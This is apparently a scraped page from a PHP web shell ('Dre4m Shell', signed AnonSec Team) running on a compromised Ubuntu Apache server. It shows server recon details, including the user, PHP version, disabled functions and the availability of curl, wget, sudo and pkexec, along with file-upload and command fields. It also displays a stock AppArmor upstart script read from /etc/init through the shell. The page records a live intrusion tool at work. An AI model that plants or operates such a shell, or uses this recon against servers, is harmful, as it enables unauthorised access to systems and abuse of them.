Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.12.153.221
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /etc/init/apparmor.conf
description "Pre-cache and pre-load apparmor profiles"
author "Dimitri John Ledkov <xnox@ubuntu.com> and Jamie Strandboge <jamie@ubuntu.com>"

task

start on starting rc-sysinit

script
    [ -d /rofs/etc/apparmor.d ]  && exit 0 # do not load on liveCD
    [ -d /sys/module/apparmor ]  || exit 0 # do not load without AppArmor
    [ -x /sbin/apparmor_parser ] || exit 0 # do not load without parser

    . /lib/apparmor/functions

    systemd-detect-virt --quiet --container && ! is_container_with_internal_policy && exit 0 || true

    # Need securityfs for any mode
    if [ ! -d /sys/kernel/security/apparmor ]; then
        if cut -d" " -f2,3 /proc/mounts | grep -q "^/sys/kernel/security securityfs"'$' ; then
            exit 0
        else
            mount -t securityfs none /sys/kernel/security || exit 0
        fi
    fi

    [ -w /sys/kernel/security/apparmor/.load ] || exit 0

    apparmor_was_updated=0
    if ! compare_previous_version ; then
        # On snappy flavors, if the current and previous versions are
        # different then clear the system cache. snappy will handle
        # "$PROFILES_CACHE_VAR" itself  (on Touch flavors
        # compare_previous_version  always returns '0' since snappy
        # isn't available).
        clear_cache_system
        apparmor_was_updated=1
    elif ! compare_and_save_debsums apparmor ; then
        # If the system policy has been updated since the last time we
        # ran, clear the cache to prevent potentially stale binary
        # cache files after an Ubuntu image based upgrade (LP:
        # #1350673). This can be removed once all system image flavors
        # move to snappy (on snappy systems compare_and_save_debsums
        # always returns '0' since /var/lib/dpkg doesn't exist).
        clear_cache
        apparmor_was_updated=1
    fi

    if [ -x /usr/bin/aa-clickhook ] || [ -x /usr/bin/aa-profile-hook ] ; then
        # If packages for system policy that affect click packages have
        # been updated since the last time we ran, run aa-clickhook -f
        force_clickhook=0
        force_profile_hook=0
        if ! compare_and_save_debsums apparmor-easyprof-ubuntu ; then
            force_clickhook=1
        fi
        if ! compare_and_save_debsums apparmor-easyprof-ubuntu-snappy ; then
            force_clickhook=1
        fi
        if ! compare_and_save_debsums click-apparmor ; then
            force_clickhook=1
            force_profile_hook=1
        fi
        if [ -x /usr/bin/aa-clickhook ] && ([ $force_clickhook -eq 1 ] || [ $apparmor_was_updated -eq 1 ]) ; then
            aa-clickhook -f
        fi
        if [ -x /usr/bin/aa-profile-hook ] && ([ $force_profile_hook -eq 1 ] || [ $apparmor_was_updated -eq 1 ]) ; then
            aa-profile-hook -f
        fi
    fi

    if [ "$ACTION" = "teardown" ]; then
        running_profile_names | while read profile; do
            unload_profile "$profile"
        done
        exit 0
    fi

    if [ "$ACTION" = "clear" ]; then
        clear_cache
        exit 0
    fi

    if [ "$ACTION" = "reload" ] || [ "$ACTION" = "force-reload" ]; then
        clear_cache
        load_configured_profiles
        exit 0
    fi

    # Note: if apparmor-easyprof-ubuntu md5sums didn't match up above,
    # aa-clickhook will have already compiled the policy, generated the cache
    # files and loaded them into the kernel by this point, so reloading click
    # policy from cache, while fairly fast (<2 seconds for 250 profiles on
    # armhf), is redundant. Fixing this would complicate the logic quite a bit
    # and it wouldn't improve the (by far) common case (ie, when
    # 'aa-clickhook -f' is not run).
    load_configured_profiles
end script

Anon7 - 2022
AnonSec Team